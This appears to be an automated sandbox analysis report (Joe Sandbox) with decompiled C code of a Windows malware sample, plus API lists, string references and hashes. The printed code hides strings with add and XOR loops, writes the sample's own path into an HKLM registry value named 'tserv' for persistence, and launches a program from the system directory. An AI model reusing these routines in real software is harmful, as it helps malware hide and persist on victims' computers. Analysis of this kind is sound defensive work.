				_t253 =  *0x431f38; // 0x2d2c
				_v8 = _t165;
				_v168 = __ecx;
				_t238 = 0;
				_v104 = 0x54;
				_v103 = 0x2c;
				_v102 = 0x7c;
				_v101 = 0xc;
				_v100 = 0x12;
				_v99 = 0x7c;
				_v98 = 0x2c;
				_v97 = 0xe7;
				_v96 = 0x50;
				_v95 = 0x8d;
				_v94 = 0x53;
				_v93 = 0x29;
				_v92 = 0xa2;
				_v91 = 0xa8;
				_v90 = 0x4e;
				_v89 = 0x45;
				_v88 = 0xc5;
				_v164.hProcess = 0x14;
				_v163 = 0x44;
				_v162 = 0xfe;
				_v161 = 0x60;
				_v164.hThread = 0x22;
				_v159 = 0xb8;
				_v158 = 0xd;
				_v157 = 0x7c;
				_v164.dwProcessId = 0xe1;
				_v155 = 0xa7;
				_v154 = 0xf;
				_v153 = 0xe;
				_v164.dwThreadId = 0x8c;
				_v151 = 0xbd;
				_v150 = 0x2a;
				_v149 = 0x20;
				_v148 = 0x3b;
				_t254 = _t253 + 0x73d;
				do {
					 *((intOrPtr*)(_t263 + _t238 + 0x4c)) =  *((intOrPtr*)(_t263 + _t238 + 0x4c)) +  *((intOrPtr*)(_t263 + _t238 + 0x10));
					_t238 = _t238 + 1;
				} while (_t238 < 0x11);
				_v143 = 0x2c;
				_v142 = 0x7c;
				_v139 = 0x7c;
				_v138 = 0x2c;
				_v117 = 0x2c;
				_v136 = 0x50;
				_v123 = 0x50;
				_v108 = 0x4f;
				_v77 = 0x4f;
				_v144 = 0x54;
				_v141 = 0xc;
				_v140 = 0x12;
				_v137 = 0xe7;
				_v135 = 0x8d;
				_v134 = 0x53;
				_v133 = 0x29;
				_v132 = 0xa2;
				_v131 = 0xa8;
				_v130 = 0x4e;
				_v129 = 0x45;
				_v128 = 0xc5;
				_v127 = 0x81;
				_v126 = 9;
				_v125 = 0xb3;
				_v124 = 0xdc;
				_v122 = 0x2a;
				_v121 = 0xc2;
				_v120 = 5;
				_v119 = 0x69;
				_v118 = 0x76;
				_v116 = 0x20;
				_v115 = 0x30;
				_v114 = 0x70;
				_v113 = 0x9e;
				_v112 = 0x5a;
				_v111 = 0x4c;
				_v110 = 0xd3;
				_v109 = 0x82;
				_v107 = 0x90;
				_v106 = 0x73;
				_v84.cb = 0x27;
				_v83 = 0x38;
				_v82 = 0xe5;
				_v81 = 0x56;
				_v84.lpReserved = 0x22;
				_v79 = 0xbd;
				_v78 = 8;
				_v84.lpDesktop = 0x14;
				_v75 = 0xa0;
				_v74 = 0xe1;
				_v73 = 8;
				_v84.lpTitle = 0xc1;
				_v71 = 0x8d;
				_v70 = 0xdf;
				_v69 = 0xef;
				_v84.dwX = 0x6f;
				_v67 = 0xb8;
				_v66 = 0x2e;
				_v65 = 0x7a;
				_v84.dwY = 0x85;
				_v63 = 0xe8;
				_v62 = 6;
				_v61 = 0x9f;
				_v84.dwXSize = 0x28;
				_v59 = 0xce;
				_v58 = 0xec;
				_v57 = 9;
				_v84.dwYSize = 0x44;
				_v55 = 5;
				_v54 = 0xf5;
				_v53 = 0x96;
				_v84.dwXCountChars = 0xdf;
				_v51 = 0xe7;
				_v50 = 0x92;
				_v49 = 0xb5;
				_v84.dwYCountChars = 0xea;
				_v47 = 0xed;
				_v46 = 0x8d;
				_t169 = 0;
				do {
					 *((char*)(_t263 + _t169 + 0x24)) =  *((intOrPtr*)(_t263 + _t169 + 0x24)) +  *((intOrPtr*)(_t263 + _t169 + 0x60));
					 *((char*)(_t263 + _t169 + 0x25)) =  *((intOrPtr*)(_t263 + _t169 + 0x25)) +  *((intOrPtr*)(_t263 + _t169 + 0x61));
					 *((char*)(_t263 + _t169 + 0x26)) =  *((intOrPtr*)(_t263 + _t169 + 0x26)) +  *((intOrPtr*)(_t263 + _t169 + 0x62));
					_t169 = _t169 + 3;
					_t254 = _t254 + 0x147;
				} while (_t169 < 0x27);
				 *0x431f38 = _t254;
				_t207 = HeapAlloc(GetProcessHeap(), 8, 0x104);
				_push(0x104);
				_t215 = 0x11;
				asm("pushad");
				asm("popad");
				memset( &_v84, 0, _t215 << 2);
				_v84.cb = 0x44;
				GetSystemDirectoryA(_t207, ??);
				_t241 = _t207;
				_t242 = _t241 - 1;
				do {
					_t175 =  *((intOrPtr*)(_t242 + 1));
					_t242 = _t242 + 1;
				} while (_t175 != 0);
				_t234 =  *0x42e308; // 0x5c
				_t176 =  &_v104;
				 *_t242 = _t234;
				_t257 = _t176;
				do {
					_t217 =  *_t176;
					_t176 = _t176 + 1;
				} while (_t217 != 0);
				_t177 = _t176 - _t257;
				_t244 = _t207 - 1;
				do {
					_t218 =  *(_t244 + 1);
					_t244 = _t244 + 1;
				} while (_t218 != 0);
				_t219 = _t177;
				_t220 = _t219 >> 2;
				memcpy(_t257 + _t220 + _t220, _t257, memcpy(_t244, _t257, _t220 << 2) & 0x00000003);
				_t258 = _v168;
				_push(0x11);
				memset( &_v84, 0, 0 << 2);
				_v84.cb = 0x44;
				if( *((intOrPtr*)(_t258 + 0x3c)) == 0 ||  *((intOrPtr*)(_t258 + 0x40)) != 0) {
					if( *((intOrPtr*)(_t258 + 0x9c)) == 0 ||  *((intOrPtr*)(_t258 + 0xa0)) != 0) {
						goto L19;
					} else {
						goto L14;
					}
				} else {
					L14:
					if( *((intOrPtr*)(_t258 + 0x148)) == 0) {
						 *((intOrPtr*)(_t258 + 0x148)) = CreateEventA(0, 1, 0,  &_v144);
					}
					if( *((intOrPtr*)(_t258 + 0x160)) == 0 && CreateProcessA(_t207, 0, 0, 0, 1, 0, 0, 0,  &_v84,  &_v164) != 0) {
						 *((intOrPtr*)(_t258 + 0x160)) = _v164.dwProcessId;
						CloseHandle(_v164);
						CloseHandle(_v164.hThread);
					}
					L19:
					HeapFree(GetProcessHeap(), 0, _t207);
					return E00424873(1, _v8);
				}
			}

0x0041f256
0x0041f25c
0x0041f263
0x0041f26a
0x0041f271
0x0041f27c
0x0041f27e
0x0041f283
0x0041f287
0x0041f28b
0x0041f290
0x0041f295
0x0041f299
0x0041f29d
0x0041f2a2
0x0041f2a7
0x0041f2ab
0x0041f2b0
0x0041f2b5
0x0041f2ba
0x0041f2bf
0x0041f2c4
0x0041f2c9
0x0041f2ce
0x0041f2d3
0x0041f2d8
0x0041f2dd
0x0041f2e2
0x0041f2e7
0x0041f2ec
0x0041f2f1
0x0041f2f5
0x0041f2fa
0x0041f2ff
0x0041f304
0x0041f309
0x0041f30e
0x0041f313
0x0041f318
0x0041f31d
0x0041f322
0x0041f327
0x0041f32b
0x0041f32f
0x0041f330
0x0041f335
0x0041f339
0x0041f33d
0x0041f341
0x0041f347
0x0041f34d
0x0041f353
0x0041f359
0x0041f35d
0x0041f363
0x0041f368
0x0041f36d
0x0041f372
0x0041f377
0x0041f37b
0x0041f380
0x0041f385
0x0041f38a
0x0041f38f
0x0041f394
0x0041f399
0x0041f39e
0x0041f3a3
0x0041f3a7
0x0041f3ac
0x0041f3b1
0x0041f3b6
0x0041f3bb
0x0041f3bf
0x0041f3c4
0x0041f3c9
0x0041f3ce
0x0041f3d3
0x0041f3d8
0x0041f3dd
0x0041f3e2
0x0041f3e7
0x0041f3ec
0x0041f3f1
0x0041f3f6
0x0041f3fb
0x0041f400
0x0041f405
0x0041f40a
0x0041f40f
0x0041f414
0x0041f419
0x0041f41e
0x0041f423
0x0041f428
0x0041f42d
0x0041f432
0x0041f437
0x0041f43b
0x0041f43f
0x0041f444
0x0041f449
0x0041f44e
0x0041f453
0x0041f458
0x0041f45d
0x0041f462
0x0041f467
0x0041f46c
0x0041f471
0x0041f476
0x0041f47b
0x0041f47f
0x0041f484
0x0041f488
0x0041f48d
0x0041f492
0x0041f499
0x0041f4a1
0x0041f4a9
0x0041f4b1
0x0041f4b9
0x0041f4c1
0x0041f4c8
0x0041f4d0
0x0041f4e2
0x0041f4ec
0x0041f4fe
0x0041f502
0x0041f505
0x0041f509
0x0041f515
0x0041f529
0x0041f52d
0x0041f534
0x0041f535
0x0041f536
0x0041f53b
0x0041f53e
0x0041f546
0x0041f54d
0x0041f54e
0x0041f550
0x0041f550
0x0041f553
0x0041f554
0x0041f558
0x0041f55f
0x0041f563
0x0041f567
0x0041f568
0x0041f568
0x0041f56a
0x0041f56b
0x0041f571
0x0041f573
0x0041f574
0x0041f574
0x0041f577
0x0041f578
0x0041f57d
0x0041f57e
0x0041f588
0x0041f58a
0x0041f592
0x0041f599
0x0041f5a0
0x0041f5a8
0x0041f5b9
0x00000000
0x00000000
0x00000000
0x00000000
0x0041f5c5
0x0041f5c5
0x0041f5cd
0x0041f5e0
0x0041f5e0
0x0041f5ee
0x0041f61b
0x0041f628
0x0041f62f
0x0041f62f
0x0041f631
0x0041f63b
0x0041f658
0x0041f658

APIs

GetProcessHeap.KERNEL32(00000008,00000104), ref: 0041F51C
HeapAlloc.KERNEL32(00000000), ref: 0041F523
GetSystemDirectoryA.KERNEL32(00000000,00000104), ref: 0041F546
CreateEventA.KERNEL32(00000000,00000001,00000000,00000054), ref: 0041F5DA
CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000000,00000000,00000000,?,00000014), ref: 0041F609
CloseHandle.KERNEL32(00000014), ref: 0041F628
CloseHandle.KERNEL32(00000022), ref: 0041F62F
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0041F634
HeapFree.KERNEL32(00000000), ref: 0041F63B

Strings

T, xrefs: 0041F363
S, xrefs: 0041F2AB
8, xrefs: 0041F400
z, xrefs: 0041F453
D, xrefs: 0041F53E
(, xrefs: 0041F46C
*, xrefs: 0041F3B1
", xrefs: 0041F40F
), xrefs: 0041F380
), xrefs: 0041F2B0
Z, xrefs: 0041F3DD
*, xrefs: 0041F313
p, xrefs: 0041F3D3
N, xrefs: 0041F2BF
E, xrefs: 0041F394
., xrefs: 0041F44E
E, xrefs: 0041F2C4
s, xrefs: 0041F3F6
S, xrefs: 0041F37B
;, xrefs: 0041F31D
L, xrefs: 0041F3E2
D, xrefs: 0041F2D3
0, xrefs: 0041F3CE
P, xrefs: 0041F2A2
o, xrefs: 0041F444
i, xrefs: 0041F3BF
D, xrefs: 0041F47F
T, xrefs: 0041F27E
", xrefs: 0041F2E2
v, xrefs: 0041F3C4
, xrefs: 0041F3C9
`, xrefs: 0041F2DD
, xrefs: 0041F318
N, xrefs: 0041F38F
D, xrefs: 0041F5A0
V, xrefs: 0041F40A

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: Heap$Process$CloseCreateHandle$AllocDirectoryEventFreeSystem
String ID: $ $"$"$($)$)$*$*$.$0$8$;$D$D$D$D$E$E$L$N$N$P$S$S$T$T$V$Z$`$i$o$p$s$v$z
API String ID: 1999696495-2708113935
Opcode ID: 6ec4f738c66d2a25ef26c2225b4f4c140027c9ca172d675ac809c85ed4750e39
Instruction ID: e9ec53d24fc6d28ae1c23cf438e395349718054c3c89787891019268a5b645f7
Opcode Fuzzy Hash: 6ec4f738c66d2a25ef26c2225b4f4c140027c9ca172d675ac809c85ed4750e39
Instruction Fuzzy Hash: 26D1082110C7C19AD322CB7C984878FFFD15BA7628F580A9DF1E45B3E2C2A5854AC767

Uniqueness

Uniqueness Score: -1.00%

Function 00412C90, Relevance: 75.4, APIs: 3, Strings: 40, Instructions: 193
registryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E00412C90(void* __ebx, void* __esi) {
				intOrPtr _v4;
				char _v264;
				char _v267;
				char _v268;
				char _v269;
				char _v270;
				char _v271;
				char _v272;
				char _v273;
				char _v274;
				char _v275;
				char _v276;
				char _v277;
				char _v278;
				char _v279;
				char _v280;
				char _v281;
				char _v282;
				char _v283;
				char _v284;
				char _v285;
				char _v286;
				char _v287;
				char _v288;
				char _v289;
				char _v290;
				char _v291;
				char _v292;
				char _v293;
				char _v294;
				char _v295;
				char _v296;
				char _v297;
				char _v298;
				char _v299;
				char _v300;
				char _v301;
				char _v302;
				char _v303;
				char _v304;
				char _v305;
				char _v306;
				char _v307;
				char _v308;
				char _v309;
				char _v310;
				char _v311;
				char _v312;
				char _v314;
				char _v315;
				char _v316;
				char _v317;
				char _v318;
				char _v319;
				char _v320;
				char _v321;
				char _v322;
				char _v323;
				char _v324;
				char _v327;
				char _v328;
				char _v329;
				char _v330;
				char _v331;
				char _v332;
				char _v333;
				char _v334;
				char _v335;
				char _v336;
				char _v337;
				char _v338;
				char _v339;
				char _v340;
				char _v341;
				char _v342;
				char _v343;
				char _v344;
				char _v345;
				char _v346;
				char _v347;
				char _v348;
				char _v349;
				char _v350;
				char _v351;
				char _v352;
				char _v353;
				char _v354;
				char _v355;
				char _v356;
				char _v357;
				char _v358;
				char _v359;
				char _v360;
				char _v361;
				char _v362;
				char _v363;
				char _v364;
				char _v365;
				char _v366;
				char _v367;
				char _v368;
				char _v369;
				char _v370;
				char _v371;
				char _v372;
				char _v374;
				char _v375;
				char _v376;
				char _v377;
				char _v378;
				char _v379;
				char _v380;
				char _v381;
				char _v382;
				char _v383;
				char _v384;
				int _v388;
				int _v392;
				void* _v396;
				intOrPtr _t145;
				int* _t147;
				void* _t153;
				void* _t159;
				void** _t185;

				_t185 =  &_v396;
				_t145 =  *0x4310d8; // 0xd0c2a9a8
				_v4 = _t145;
				_v365 = 0x35;
				_v360 = 0x35;
				_v372 = 0x27;
				_v371 = 0xdf;
				_v370 = 0x80;
				_v369 = 0x2a;
				_v368 = 5;
				_v367 = 0xcb;
				_v366 = 0xa3;
				_v364 = 0x92;
				_v363 = 0xe6;
				_v362 = 0x7d;
				_v361 = 0xc7;
				_v359 = 0x64;
				_v358 = 0x14;
				_v357 = 0x23;
				_v356 = 0xd4;
				_v355 = 0x31;
				_v354 = 0xe8;
				_v353 = 0xb3;
				_v352 = 0xad;
				_v351 = 0x5b;
				_v350 = 0x4d;
				_v349 = 0xd2;
				_v348 = 0x8f;
				_v347 = 0x9f;
				_v346 = 0xcf;
				_v345 = 0x4a;
				_v344 = 0x68;
				_v343 = 0x94;
				_v342 = 0x3e;
				_v341 = 0xb5;
				_v340 = 0x2a;
				_v339 = 0x4f;
				_v338 = 0xd4;
				_v337 = 0x2c;
				_v336 = 0x63;
				_v335 = 0xee;
				_v334 = 0xab;
				_v333 = 0x53;
				_v332 = 0x17;
				_v331 = 0x56;
				_v330 = 9;
				_v329 = 0x3b;
				_v328 = 0x30;
				_v327 = 0x2a;
				_v312 = 0x2c;
				_v311 = 0x70;
				_v310 = 0xc6;
				_v309 = 0x2a;
				_v308 = 0x52;
				_v307 = 0x76;
				_v306 = 0xaf;
				_v305 = 0x10;
				_v304 = 0xca;
				_v303 = 0x67;
				_v302 = 0xec;
				_v301 = 0x9c;
				_v300 = 0x3d;
				_v299 = 0xb;
				_v298 = 0x5f;
				_v297 = 0x4c;
				_v296 = 0x92;
				_v295 = 0x43;
				_v294 = 0x74;
				_v293 = 0xa4;
				_v292 = 0xbc;
				_v291 = 0x13;
				_v290 = 0x17;
				_v289 = 0x9d;
				_v288 = 0xe8;
				_v287 = 0xd4;
				_v286 = 0x8d;
				_v285 = 0xf9;
				_v284 = 0xd;
				_v283 = 0xde;
				_v282 = 0x34;
				_v281 = 0xb0;
				_v280 = 0x44;
				_v279 = 0x25;
				_v278 = 0x82;
				_v277 = 0x39;
				_v276 = 0xf;
				_v275 = 0x85;
				_v274 = 0xbe;
				_v273 = 0x1c;
				_v272 = 0x57;
				_v271 = 6;
				_v270 = 0x49;
				_v269 = 0x3a;
				_v268 = 0x3e;
				_v267 = 0xd6;
				_t147 = 0;
				do {
					 *((char*)(_t185 + _t147 + 0x1c)) =  *((intOrPtr*)(_t185 + _t147 + 0x1c)) +  *((intOrPtr*)(_t185 + _t147 + 0x58));
					 *((char*)(_t185 + _t147 + 0x1d)) =  *((intOrPtr*)(_t185 + _t147 + 0x1d)) +  *((intOrPtr*)(_t185 + _t147 + 0x59));
					_t147 = _t147 + 2;
				} while (_t147 < 0x2e);
				if(RegOpenKeyExA(0x80000002,  &_v372, 0, 0xf003f,  &_v396) != 0) {
					return E00424873(0, _v4);
				} else {
					_v374 = 0xc4;
					_v314 = 0xc4;
					_v392 = 0x104;
					_v384 = 0xf2;
					_v383 = 0x65;
					_v382 = 0xa8;
					_v381 = 0x30;
					_v380 = 8;
					_v379 = 0x60;
					_v378 = 0x79;
					_v377 = 0x34;
					_v376 = 0xec;
					_v375 = 0xd4;
					_v324 = 0xa1;
					_v323 = 0x15;
					_v322 = 0xd1;
					_v321 = 0x63;
					_v320 = 0x7f;
					_v319 = 5;
					_v318 = 0x1c;
					_v317 = 0x44;
					_v316 = 0x89;
					_v315 = 0xa6;
					_t153 = 0;
					do {
						 *(_t185 + _t153 + 0x10) =  *(_t185 + _t153 + 0x10) ^  *(_t185 + _t153 + 0x4c);
						_t153 = _t153 + 1;
					} while (_t153 < 0xb);
					if(RegQueryValueExA(_v396,  &_v384, 0,  &_v388,  &_v264,  &_v392) == 0) {
						_push(1);
						_pop(0);
					}
					RegCloseKey(_v396);
					_push(0);
					_pop(_t159);
					return E00424873(_t159, _v4);
				}
			}

0x00412c90
0x00412c96
0x00412c9d
0x00412ca9
0x00412cad
0x00412cb5
0x00412cba
0x00412cbf
0x00412cc4
0x00412cc8
0x00412ccd
0x00412cd2
0x00412cd7
0x00412cdc
0x00412ce1
0x00412ce6
0x00412ceb
0x00412cf0
0x00412cf5
0x00412cfa
0x00412cfe
0x00412d03
0x00412d08
0x00412d0d
0x00412d12
0x00412d17
0x00412d1c
0x00412d21
0x00412d26
0x00412d2b
0x00412d30
0x00412d35
0x00412d3a
0x00412d3f
0x00412d44
0x00412d49
0x00412d4d
0x00412d52
0x00412d56
0x00412d5a
0x00412d5f
0x00412d64
0x00412d69
0x00412d6e
0x00412d72
0x00412d77
0x00412d7c
0x00412d81
0x00412d86
0x00412d8a
0x00412d8e
0x00412d93
0x00412d98
0x00412d9c
0x00412da1
0x00412da6
0x00412dab
0x00412db0
0x00412db5
0x00412dba
0x00412dbf
0x00412dc4
0x00412dc9
0x00412dce
0x00412dd3
0x00412dd8
0x00412ddd
0x00412de2
0x00412de7
0x00412dec
0x00412df1
0x00412df6
0x00412dfa
0x00412dff
0x00412e04
0x00412e08
0x00412e0d
0x00412e12
0x00412e17
0x00412e1c
0x00412e21
0x00412e26
0x00412e2b
0x00412e30
0x00412e35
0x00412e3a
0x00412e3f
0x00412e44
0x00412e49
0x00412e4e
0x00412e56
0x00412e5e
0x00412e66
0x00412e6e
0x00412e76
0x00412e7e
0x00412e80
0x00412e8e
0x00412e98
0x00412e9c
0x00412e9f
0x00412ec2
0x00412fba
0x00412ec8
0x00412eca
0x00412ece
0x00412ed2
0x00412eda
0x00412edf
0x00412ee4
0x00412ee9
0x00412eee
0x00412ef3
0x00412ef8
0x00412efd
0x00412f02
0x00412f07
0x00412f0b
0x00412f10
0x00412f15
0x00412f1a
0x00412f1f
0x00412f24
0x00412f29
0x00412f2e
0x00412f33
0x00412f38
0x00412f3d
0x00412f40
0x00412f4a
0x00412f4e
0x00412f4f
0x00412f7c
0x00412f7e
0x00412f80
0x00412f80
0x00412f88
0x00412f8e
0x00412f8f
0x00412fa4
0x00412fa4

APIs

RegOpenKeyExA.ADVAPI32(80000002,?,00000000,000F003F,00000001), ref: 00412EBA
RegQueryValueExA.ADVAPI32(000000F2,00000092,?,000000EC,?,?,?), ref: 00412F74
RegCloseKey.ADVAPI32(00000104), ref: 00412F88

Strings

t, xrefs: 00412DE2
W, xrefs: 00412E4E
I, xrefs: 00412E5E
e, xrefs: 00412EDF
0, xrefs: 00412EE9
L, xrefs: 00412DD3
D, xrefs: 00412F2E
M, xrefs: 00412D17
9, xrefs: 00412E35
}, xrefs: 00412CE1
_, xrefs: 00412DCE
#, xrefs: 00412CF5
4, xrefs: 00412E1C
v, xrefs: 00412DA1
;, xrefs: 00412D7C
4, xrefs: 00412EFD
c, xrefs: 00412D5A
c, xrefs: 00412F1A
0, xrefs: 00412D81
', xrefs: 00412CB5
>, xrefs: 00412D3F
:, xrefs: 00412E66
C, xrefs: 00412DDD
y, xrefs: 00412EF8
R, xrefs: 00412D9C
1, xrefs: 00412CFE
O, xrefs: 00412D4D
h, xrefs: 00412D35
D, xrefs: 00412E26
>, xrefs: 00412E6E
g, xrefs: 00412DB5
[, xrefs: 00412D12
V, xrefs: 00412D72
`, xrefs: 00412EF3
J, xrefs: 00412D30
d, xrefs: 00412CEB
S, xrefs: 00412D69
%, xrefs: 00412E2B
p, xrefs: 00412D8E
=, xrefs: 00412DC4

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: #$%$'$0$0$1$4$4$9$:$;$=$>$>$C$D$D$I$J$L$M$O$R$S$V$W$[$_$`$c$c$d$e$g$h$p$t$v$y$}
API String ID: 3677997916-3213928184
Opcode ID: c1f37b6fedfaf9b471319461dc087152172cadc31ee71bb04256451348b95e2d
Instruction ID: bb9f296d57b615e1064da559d6402ac14f30cc60ba32d321b5eb3f8d86c34c6f
Opcode Fuzzy Hash: c1f37b6fedfaf9b471319461dc087152172cadc31ee71bb04256451348b95e2d
Instruction Fuzzy Hash: CAA1942100D7C199D322D67C984874FFFD51BA7228F584A9DF1E44B2E2C2AA8649C76B

Uniqueness

Uniqueness Score: -1.00%

Function 00412FC0, Relevance: 66.7, APIs: 6, Strings: 32, Instructions: 167
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00412FC0(void* __ebx, void* __ecx, void* __esi, void* __eflags) {
				intOrPtr _v4;
				char _v264;
				char _v267;
				char _v268;
				char _v269;
				char _v270;
				char _v271;
				char _v272;
				char _v273;
				char _v274;
				char _v275;
				char _v276;
				char _v277;
				char _v278;
				char _v279;
				char _v280;
				char _v281;
				char _v282;
				char _v283;
				char _v284;
				char _v285;
				char _v286;
				char _v287;
				char _v288;
				char _v289;
				char _v290;
				char _v291;
				char _v292;
				char _v293;
				char _v294;
				char _v295;
				char _v296;
				char _v297;
				char _v298;
				char _v299;
				char _v300;
				char _v301;
				char _v302;
				char _v303;
				char _v304;
				char _v305;
				char _v306;
				char _v307;
				char _v308;
				char _v309;
				char _v310;
				char _v311;
				char _v312;
				char _v315;
				char _v316;
				char _v317;
				char _v318;
				char _v319;
				char _v320;
				char _v321;
				char _v322;
				char _v323;
				char _v324;
				char _v325;
				char _v326;
				char _v327;
				char _v328;
				char _v329;
				char _v330;
				char _v331;
				char _v332;
				char _v333;
				char _v334;
				char _v335;
				char _v336;
				char _v337;
				char _v338;
				char _v339;
				char _v340;
				char _v341;
				char _v342;
				char _v343;
				char _v344;
				char _v345;
				char _v346;
				char _v347;
				char _v348;
				char _v349;
				char _v350;
				char _v351;
				char _v352;
				char _v353;
				char _v354;
				char _v355;
				char _v356;
				char _v357;
				char _v358;
				char _v359;
				char _v360;
				long _v363;
				char _v364;
				char _v365;
				char _v366;
				char _v367;
				char _v368;
				intOrPtr _t119;
				long _t120;
				void* _t128;
				int _t134;
				void** _t159;

				_t119 =  *0x4310d8; // 0xd0c2a9a8
				_v4 = _t119;
				_t120 = E00412C90(__ebx, __esi);
				_t121 = _t120;
				if(_t120 != 0) {
					L5:
					return E00424873(_t121, _v4);
				}
				_v356 = 0xf;
				_v351 = 0xf;
				_v357 = 0xd2;
				_v348 = 0xaf;
				_v347 = 0xd2;
				_v340 = 0xaf;
				_v344 = 0xbb;
				_v339 = 0xbd;
				_v333 = 0x36;
				_v320 = 0xbb;
				_v305 = 0x36;
				_v299 = 0xbd;
				_v360 = 0xf5;
				_v359 = 0x5c;
				_v358 = 0xf1;
				_v355 = 0x3f;
				_v354 = 0x32;
				_v353 = 0x73;
				_v352 = 0x38;
				_v350 = 0xa3;
				_v349 = 0xce;
				_v346 = 0x95;
				_v345 = 0;
				_v343 = 0x9d;
				_v342 = 0xed;
				_v341 = 0xc2;
				_v338 = 0x23;
				_v337 = 0x50;
				_v336 = 0x40;
				_v335 = 0x18;
				_v334 = 0xba;
				_v332 = 0xb0;
				_v331 = 0xed;
				_v330 = 0x8a;
				_v329 = 0x5e;
				_v328 = 0x33;
				_v327 = 0x92;
				_v326 = 0x2c;
				_v325 = 0x10;
				_v324 = 8;
				_v323 = 0xd0;
				_v322 = 0xd3;
				_v321 = 0x30;
				_v319 = 0xc;
				_v318 = 1;
				_v317 = 0xfc;
				_v316 = 0x8b;
				_v315 = 0xd8;
				_v312 = 0xa6;
				_v311 = 0x13;
				_v310 = 0xb7;
				_v309 = 0x86;
				_v308 = 0x58;
				_v307 = 0x7e;
				_v306 = 0x60;
				_v304 = 0x64;
				_v303 = 0x42;
				_v302 = 0xca;
				_v301 = 0xad;
				_v300 = 0xdd;
				_v298 = 0xe6;
				_v297 = 0x6f;
				_v296 = 0xdd;
				_v295 = 0xe9;
				_v294 = 0xb1;
				_v293 = 0x95;
				_v292 = 0xc6;
				_v291 = 0xd3;
				_v290 = 0x47;
				_v289 = 0x3f;
				_v288 = 0x37;
				_v287 = 0x6b;
				_v286 = 0xe6;
				_v279 = 0xe6;
				_v278 = 0x7a;
				_v276 = 0x7a;
				_v285 = 0x75;
				_v284 = 0xc5;
				_v283 = 0x9f;
				_v282 = 0xf8;
				_v281 = 0x3b;
				_v280 = 0x5d;
				_v277 = 0x75;
				_v275 = 0xa3;
				_v274 = 0xba;
				_v273 = 0x5f;
				_v272 = 0xd5;
				_v271 = 0x50;
				_v270 = 0x53;
				_v269 = 0x89;
				_v268 = 0xe5;
				_v267 = 0xd8;
				_t128 = 0;
				do {
					 *(_t159 + _t128 + 0xc) =  *(_t159 + _t128 + 0xc) ^  *(_t159 + _t128 + 0x3c);
					 *(_t159 + _t128 + 0xd) =  *(_t159 + _t128 + 0xd) ^  *(_t159 + _t128 + 0x3d);
					_t128 = _t128 + 2;
				} while (_t128 < 0x2e);
				GetModuleFileNameA(0,  &_v264, 0x104);
				lstrcatA( &_v264, " s");
				_t121 = RegOpenKeyExA(0x80000002,  &_v360, 0, 0xf003f, _t159);
				if(_t121 == 0) {
					_v368 = 0x74;
					_v367 = 0x73;
					_v366 = 0x65;
					_v365 = 0x72;
					_v364 = 0x76;
					_v363 = _t121;
					_t134 = lstrlenA( &_v264);
					_t117 =  &_v368; // 0x38
					RegSetValueExA( *_t159, _t117, 0, 1,  &_v264, _t134);
					_t121 = RegCloseKey( *_t159);
				}
				goto L5;
			}

0x00412fc6
0x00412fcb
0x00412fd2
0x00412fd7
0x00412fd9
0x00413260
0x00413272
0x00413272
0x00412fe1
0x00412fe5
0x00412fed
0x00412ff1
0x00412ff5
0x00412ffb
0x00413003
0x00413007
0x0041300b
0x0041300f
0x00413013
0x00413019
0x00413021
0x00413026
0x0041302b
0x00413030
0x00413035
0x0041303a
0x0041303f
0x00413044
0x00413049
0x0041304e
0x00413053
0x00413058
0x0041305d
0x00413062
0x00413067
0x0041306c
0x00413071
0x00413076
0x0041307b
0x00413080
0x00413085
0x0041308a
0x0041308f
0x00413094
0x00413099
0x0041309e
0x004130a3
0x004130a8
0x004130ad
0x004130b2
0x004130b7
0x004130bc
0x004130c1
0x004130c6
0x004130cb
0x004130d0
0x004130d4
0x004130d9
0x004130de
0x004130e3
0x004130e8
0x004130ed
0x004130f2
0x004130f7
0x004130fc
0x00413101
0x00413106
0x0041310b
0x0041310f
0x00413113
0x00413118
0x0041311c
0x00413121
0x00413126
0x0041312b
0x00413130
0x00413135
0x0041313a
0x0041313f
0x00413144
0x00413149
0x0041314d
0x00413155
0x00413159
0x0041315d
0x00413161
0x00413166
0x0041316b
0x00413170
0x00413175
0x0041317a
0x0041317e
0x00413183
0x00413188
0x0041318d
0x00413192
0x00413197
0x0041319c
0x004131a1
0x004131a6
0x004131aa
0x004131b0
0x004131be
0x004131c8
0x004131cc
0x004131cf
0x004131e0
0x004131f0
0x00413211
0x00413213
0x0041321a
0x0041321f
0x00413224
0x00413229
0x0041322e
0x00413233
0x00413237
0x0041324a
0x00413250
0x0041325a
0x0041325a
0x00000000

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 004131E0
lstrcatA.KERNEL32(?,0042E3FC), ref: 004131F0
RegOpenKeyExA.ADVAPI32(80000002,?,00000000,000F003F), ref: 0041320B
lstrlenA.KERNEL32(?), ref: 00413237
RegSetValueExA.ADVAPI32(?,8s2?,00000000,00000001,?,00000000), ref: 00413250
